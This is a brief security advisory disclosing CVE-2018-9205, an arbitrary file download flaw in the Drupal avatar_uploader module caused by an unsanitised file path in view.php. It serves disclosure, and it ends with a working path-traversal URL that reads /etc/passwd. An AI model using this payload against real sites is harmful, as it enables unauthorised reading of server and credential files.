Arbitrary file download vulnerability in Drupal module avatar_uploader v7.x-1.0-beta8
CVE ID(s):
CVE-2018-9205
Summary: The code in view.php doesn't verify users or sanitize the file path.
Notified: 2018-04-02
Description:
This module used Simple Ajax Uploader, and provide a basic uploader panel, for more effect, you can do your custom javascript. Such as, users' mouse hover on avatar, the edit link will slideup, or others.
Exploit:
http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd